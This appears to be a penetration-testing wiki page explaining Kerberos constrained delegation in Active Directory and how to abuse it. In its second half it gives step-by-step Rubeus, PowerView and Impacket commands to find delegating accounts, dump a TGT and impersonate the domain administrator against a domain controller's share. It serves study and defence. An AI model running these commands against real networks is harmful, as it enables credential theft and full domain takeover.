# Constrained Delegation

Constrained delegation was later introduced with Windows Server 2003 as a safer means for services to perform Kerberos delegation. It aims to restrict the services to which the server can act on behalf of a user. It no longer allows the server to cache the TGTs of other users, but allows it to request a TGS for another user with its own TGT - this is why constrained delegation is considered to be more restrictive when compared to [Unconstrained Delegation](unconstrained-delegation).

An example of constrained delegation is a user logging in to an internal application. When the user logs in, the backend database server must apply the user's database permissions, not the permissions of the service account that the application runs under.

To accomplish this, the service account needs Kerberos-constrained delegation enabled so that the user's Kerberos ticket is used to access the database when the user logs in.

A constrained delegation can be configured in the same place as an unconstrained delegation in the `Delegation` tab of the service account. The `Trust this computer for delegation to specified services only` option should be chosen. We will explain the choice between `Kerberos Only` and `Use any authentication protocol` later and as with unconstrained delegation, this option is not modifiable by default by a service account.

{% hint style="info" %}
Constrained delegation can be configured on user accounts as well as computer accounts. Make sure you search for both.
{% endhint %}

When this option is enabled, the list of services allowed for delegation is stored in the `msDS-AllowedToDelegateTo` attribute of the service account in charge of the delegation.

While for unconstrained delegation a copy of the user's TGT gets sent to the service account, this is not the case for constrained delegation. If a service account wishes to authenticate to a resource on behalf of the user, it must make a special TGS request to the domain controller. Two fields will be modified compared to a classic TGS request:

* The `additional tickets` field will contain a copy of the TGS ticket or Service Ticket the user sent to the service.
* The `cname-in-addl-tkt` flag will be set to indicate to the Domain Controller that it should not use the server information but the ticket information in `additional tickets`, i.e., the user's information the server wants to impersonate.

The Domain Controller will then verify that the service has the right to delegate authentication to the requested resource and that the copy of the TGS ticket or Service Ticket is forwardable (which is the default but can be disabled if the `Account is sensitive and cannot be delegated` flag is set in the user's UAC flags). If all goes well, it will return a TGS ticket or Service Ticket to the service with the information of the user to be delegated to consume the final resource.

The following ADSearch command searches for those whose `msds-allowedtodelegateto` attribute is not empty

```
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json
```

We can also use PowerView or Impacket

```powershell
Import-Module .\PowerView.ps1
Get-DomainComputer -TrustedToAuth
```

```
findDelegation.py DOMAIN.COM/otter:SomethingSecure123!
```

To perform the delegation, we need the TGT of the principal (computer or user) trusted for delegation. The most direct way is to extract it with Rubeus' `dump`:

```
Rubeus.exe triage

Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

...

doIFpD[...]MuSU8=
```

{% hint style="info" %}
You can also request one with Rubeus `asktgt` if you have NTLM or AES hashes.
{% endhint %}

With the TGT, perform an S4U request to obtain a usable TGS for CIFS. Remember that we can impersonate any user in the domain, but we want someone who we know to be a local admin on the target. In this case, a domain admin makes the most sense.

This will perform an [S4U2Self](../s4u2self-and-s4u2proxy#s4u2self) first and then an [S4U2Proxy](../s4u2self-and-s4u2proxy#s4u2proxy).

```
Rubeus.exe s4u /impersonateuser:administrator /msdsspn:cifs/dc.domain.com /user:something$ /ticket:doIFLD ... MuSU8= /nowrap
```

where

* `/impersonateuser` is the user we want to impersonate.
* `/msdsspn` is the service principal name that SQL-2 is allowed to delegate to.
* `/user` is the principal allowed to perform the delegation.
* `/ticket` is the TGT for `/user`.

Grab the final S4U2Proxy ticket and pass it into a new logon session.

```
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DOMAIN /username:administrator /password:SomethingSecure123! /ticket:doIGaD ... ljLmlv
```

Or from Linux we can just use the `getST` script to get a service ticket for a specific SPN

```
getST.py -spn SOMESRV/DC01 'DOMAIN.COM/otter:SomethingSecure123!' -impersonate Administrator
```

this will automate the S4U2Self and S4U2Proxy extensions.

{% hint style="info" %}
Make sure to always use the FQDN when trying to read the `C$` share, otherwise, you will see errors like

```
1326 - ERROR_LOGON_FAILURE
```
{% endhint %}

If we compromise an account with constrained delegation, we can delegate the authentication to any service offered by the account in the authorized list and if this constrained delegation allows for protocol transition, we can pretend to be anyone to authenticate against these services.
